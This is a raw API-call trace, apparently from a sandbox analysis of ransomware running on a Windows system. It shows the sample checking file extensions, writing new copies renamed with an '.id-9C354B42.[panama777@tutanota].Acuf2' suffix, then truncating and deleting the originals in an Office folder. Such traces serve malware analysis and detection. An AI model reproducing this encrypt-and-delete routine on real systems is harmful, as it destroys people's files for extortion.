	[0262.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66
	[0262.368] lstrlenW (lpString=".doc") returned 4
	[0262.368] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0262.368] lstrlenW (lpString=".docx") returned 5
	[0262.368] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0262.368] lstrlenW (lpString=".pdf") returned 4
	[0262.369] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0262.369] lstrlenW (lpString=".xls") returned 4
	[0262.369] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0262.369] lstrlenW (lpString=".xlsx") returned 5
	[0262.369] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0262.369] lstrlenW (lpString=".ppt") returned 4
	[0262.369] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0262.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66
	[0262.369] lstrlenW (lpString=".zip") returned 4
	[0262.369] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0262.369] lstrlenW (lpString=".rar") returned 4
	[0262.369] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0262.369] lstrlenW (lpString=".bz2") returned 4
	[0262.369] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0262.369] lstrlenW (lpString=".7z") returned 3
	[0262.369] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0262.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66
	[0262.369] lstrlenW (lpString=".dbf") returned 4
	[0262.369] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0262.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66
	[0262.369] lstrlenW (lpString=".1cd") returned 4
	[0262.369] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0262.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_K_COL.HXK") returned 66
	[0262.369] lstrlenW (lpString=".jpg") returned 4
	[0262.369] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0262.369] lstrcmpiW (lpString1=".VRD", lpString2=".Acuf2") returned 1
	[0262.369] lstrlenW (lpString="INSTLIST.VRD") returned 12
	[0262.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0262.370] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=1899) returned 1
	[0262.370] CloseHandle (hObject=0x220) returned 1
	[0262.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd")) returned 0x20
	[0262.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0262.371] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.371] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0262.371] GetLastError () returned 0x0
	[0262.371] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x76b, lpOverlapped=0x0) returned 1
	[0262.373] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x770, lpOverlapped=0x0) returned 1
	[0262.373] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.373] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.373] SetEndOfFile (hFile=0x344) returned 1
	[0262.373] CloseHandle (hObject=0x344) returned 1
	[0262.373] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.374] SetEndOfFile (hFile=0x220) returned 1
	[0262.375] CloseHandle (hObject=0x220) returned 1
	[0262.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\instlist.vrd")) returned 1
	[0262.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60
	[0262.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60
	[0262.376] lstrlenW (lpString=".doc") returned 4
	[0262.376] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0262.376] lstrlenW (lpString=".docx") returned 5
	[0262.376] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1
	[0262.376] lstrlenW (lpString=".pdf") returned 4
	[0262.376] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0262.376] lstrlenW (lpString=".xls") returned 4
	[0262.376] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0262.376] lstrlenW (lpString=".xlsx") returned 5
	[0262.376] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1
	[0262.376] lstrlenW (lpString=".ppt") returned 4
	[0262.376] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0262.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60
	[0262.376] lstrlenW (lpString=".zip") returned 4
	[0262.376] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0262.376] lstrlenW (lpString=".rar") returned 4
	[0262.376] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0262.376] lstrlenW (lpString=".bz2") returned 4
	[0262.377] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0262.377] lstrlenW (lpString=".7z") returned 3
	[0262.377] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0262.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60
	[0262.377] lstrlenW (lpString=".dbf") returned 4
	[0262.377] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0262.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60
	[0262.377] lstrlenW (lpString=".1cd") returned 4
	[0262.377] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0262.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60
	[0262.377] lstrlenW (lpString=".jpg") returned 4
	[0262.377] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0262.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60
	[0262.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60
	[0262.377] lstrlenW (lpString=".doc") returned 4
	[0262.377] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0262.377] lstrlenW (lpString=".docx") returned 5
	[0262.377] lstrcmpiW (lpString1=".docx", lpString2="T.VRD") returned -1
	[0262.377] lstrlenW (lpString=".pdf") returned 4
	[0262.377] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0262.377] lstrlenW (lpString=".xls") returned 4
	[0262.377] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0262.377] lstrlenW (lpString=".xlsx") returned 5
	[0262.377] lstrcmpiW (lpString1=".xlsx", lpString2="T.VRD") returned -1
	[0262.377] lstrlenW (lpString=".ppt") returned 4
	[0262.377] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0262.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60
	[0262.377] lstrlenW (lpString=".zip") returned 4
	[0262.377] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0262.377] lstrlenW (lpString=".rar") returned 4
	[0262.377] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0262.377] lstrlenW (lpString=".bz2") returned 4
	[0262.378] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0262.378] lstrlenW (lpString=".7z") returned 3
	[0262.378] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0262.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60
	[0262.378] lstrlenW (lpString=".dbf") returned 4
	[0262.378] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0262.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60
	[0262.378] lstrlenW (lpString=".1cd") returned 4
	[0262.378] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0262.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INSTLIST.VRD") returned 60
	[0262.378] lstrlenW (lpString=".jpg") returned 4
	[0262.378] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0262.378] lstrcmpiW (lpString1=".VRD", lpString2=".Acuf2") returned 1
	[0262.378] lstrlenW (lpString="INVENTRY.VRD") returned 12
	[0262.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0262.378] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=818) returned 1
	[0262.378] CloseHandle (hObject=0x220) returned 1
	[0262.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd")) returned 0x20
	[0262.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0262.379] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.379] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0262.379] GetLastError () returned 0x0
	[0262.379] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x332, lpOverlapped=0x0) returned 1
	[0262.381] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x340, lpOverlapped=0x0) returned 1
	[0262.381] ReadFile (in: hFile=0x220, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.382] WriteFile (in: hFile=0x344, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.382] SetEndOfFile (hFile=0x344) returned 1
	[0262.382] CloseHandle (hObject=0x344) returned 1
	[0262.382] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.382] SetEndOfFile (hFile=0x220) returned 1
	[0262.384] CloseHandle (hObject=0x220) returned 1
	[0262.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\inventry.vrd")) returned 1
	[0262.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60
	[0262.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60
	[0262.384] lstrlenW (lpString=".doc") returned 4
	[0262.385] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0262.385] lstrlenW (lpString=".docx") returned 5
	[0262.385] lstrcmpiW (lpString1=".docx", lpString2="Y.VRD") returned -1
	[0262.385] lstrlenW (lpString=".pdf") returned 4
	[0262.385] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0262.385] lstrlenW (lpString=".xls") returned 4
	[0262.385] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0262.385] lstrlenW (lpString=".xlsx") returned 5
	[0262.385] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VRD") returned -1
	[0262.385] lstrlenW (lpString=".ppt") returned 4
	[0262.385] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0262.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60
	[0262.385] lstrlenW (lpString=".zip") returned 4
	[0262.385] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0262.385] lstrlenW (lpString=".rar") returned 4
	[0262.385] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0262.385] lstrlenW (lpString=".bz2") returned 4
	[0262.385] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0262.385] lstrlenW (lpString=".7z") returned 3
	[0262.385] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0262.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60
	[0262.385] lstrlenW (lpString=".dbf") returned 4
	[0262.385] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0262.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60
	[0262.385] lstrlenW (lpString=".1cd") returned 4
	[0262.385] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0262.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60
	[0262.385] lstrlenW (lpString=".jpg") returned 4
	[0262.385] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0262.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60
	[0262.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60
	[0262.386] lstrlenW (lpString=".doc") returned 4
	[0262.386] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0262.386] lstrlenW (lpString=".docx") returned 5
	[0262.386] lstrcmpiW (lpString1=".docx", lpString2="Y.VRD") returned -1
	[0262.386] lstrlenW (lpString=".pdf") returned 4
	[0262.386] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0262.386] lstrlenW (lpString=".xls") returned 4
	[0262.386] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0262.386] lstrlenW (lpString=".xlsx") returned 5
	[0262.386] lstrcmpiW (lpString1=".xlsx", lpString2="Y.VRD") returned -1
	[0262.386] lstrlenW (lpString=".ppt") returned 4
	[0262.386] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0262.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60
	[0262.386] lstrlenW (lpString=".zip") returned 4
	[0262.386] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0262.386] lstrlenW (lpString=".rar") returned 4
	[0262.386] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0262.386] lstrlenW (lpString=".bz2") returned 4
	[0262.386] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0262.386] lstrlenW (lpString=".7z") returned 3
	[0262.386] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0262.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60
	[0262.386] lstrlenW (lpString=".dbf") returned 4
	[0262.386] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0262.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60
	[0262.386] lstrlenW (lpString=".1cd") returned 4
	[0262.386] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0262.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INVENTRY.VRD") returned 60
	[0262.386] lstrlenW (lpString=".jpg") returned 4
	[0262.386] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0262.387] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0262.387] lstrlenW (lpString="IPDSINTL.DLL") returned 12
	[0262.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0262.387] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=2270608) returned 1
	[0262.387] CloseHandle (hObject=0x220) returned 1
	[0262.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll")) returned 0x20
	[0262.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0262.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60
	[0262.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60
	[0262.387] lstrlenW (lpString=".doc") returned 4
	[0262.387] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0262.387] lstrlenW (lpString=".docx") returned 5
	[0262.387] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0262.387] lstrlenW (lpString=".pdf") returned 4
	[0262.388] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0262.388] lstrlenW (lpString=".xls") returned 4
	[0262.388] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0262.388] lstrlenW (lpString=".xlsx") returned 5
	[0262.388] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0262.388] lstrlenW (lpString=".ppt") returned 4
	[0262.388] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0262.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60
	[0262.388] lstrlenW (lpString=".zip") returned 4
	[0262.388] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0262.388] lstrlenW (lpString=".rar") returned 4
	[0262.388] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0262.388] lstrlenW (lpString=".bz2") returned 4
	[0262.388] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0262.388] lstrlenW (lpString=".7z") returned 3
	[0262.388] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60
	[0262.388] lstrlenW (lpString=".dbf") returned 4
	[0262.388] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0262.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60
	[0262.388] lstrlenW (lpString=".1cd") returned 4
	[0262.388] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0262.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60
	[0262.388] lstrlenW (lpString=".jpg") returned 4
	[0262.388] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0262.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60
	[0262.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60
	[0262.388] lstrlenW (lpString=".doc") returned 4
	[0262.388] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0262.388] lstrlenW (lpString=".docx") returned 5
	[0262.388] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1
	[0262.389] lstrlenW (lpString=".pdf") returned 4
	[0262.389] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0262.389] lstrlenW (lpString=".xls") returned 4
	[0262.389] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0262.389] lstrlenW (lpString=".xlsx") returned 5
	[0262.389] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0262.389] lstrlenW (lpString=".ppt") returned 4
	[0262.389] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0262.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60
	[0262.389] lstrlenW (lpString=".zip") returned 4
	[0262.389] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0262.389] lstrlenW (lpString=".rar") returned 4
	[0262.389] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0262.389] lstrlenW (lpString=".bz2") returned 4
	[0262.389] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0262.389] lstrlenW (lpString=".7z") returned 3
	[0262.389] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60
	[0262.389] lstrlenW (lpString=".dbf") returned 4
	[0262.389] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0262.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60
	[0262.389] lstrlenW (lpString=".1cd") returned 4
	[0262.389] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0262.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL") returned 60
	[0262.389] lstrlenW (lpString=".jpg") returned 4
	[0262.389] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0262.389] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0262.389] lstrlenW (lpString="IPEDINTL.DLL") returned 12
	[0262.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0262.390] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=883600) returned 1
	[0262.390] CloseHandle (hObject=0x220) returned 1
	[0262.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll")) returned 0x20
	[0262.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPEDINTL.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipedintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
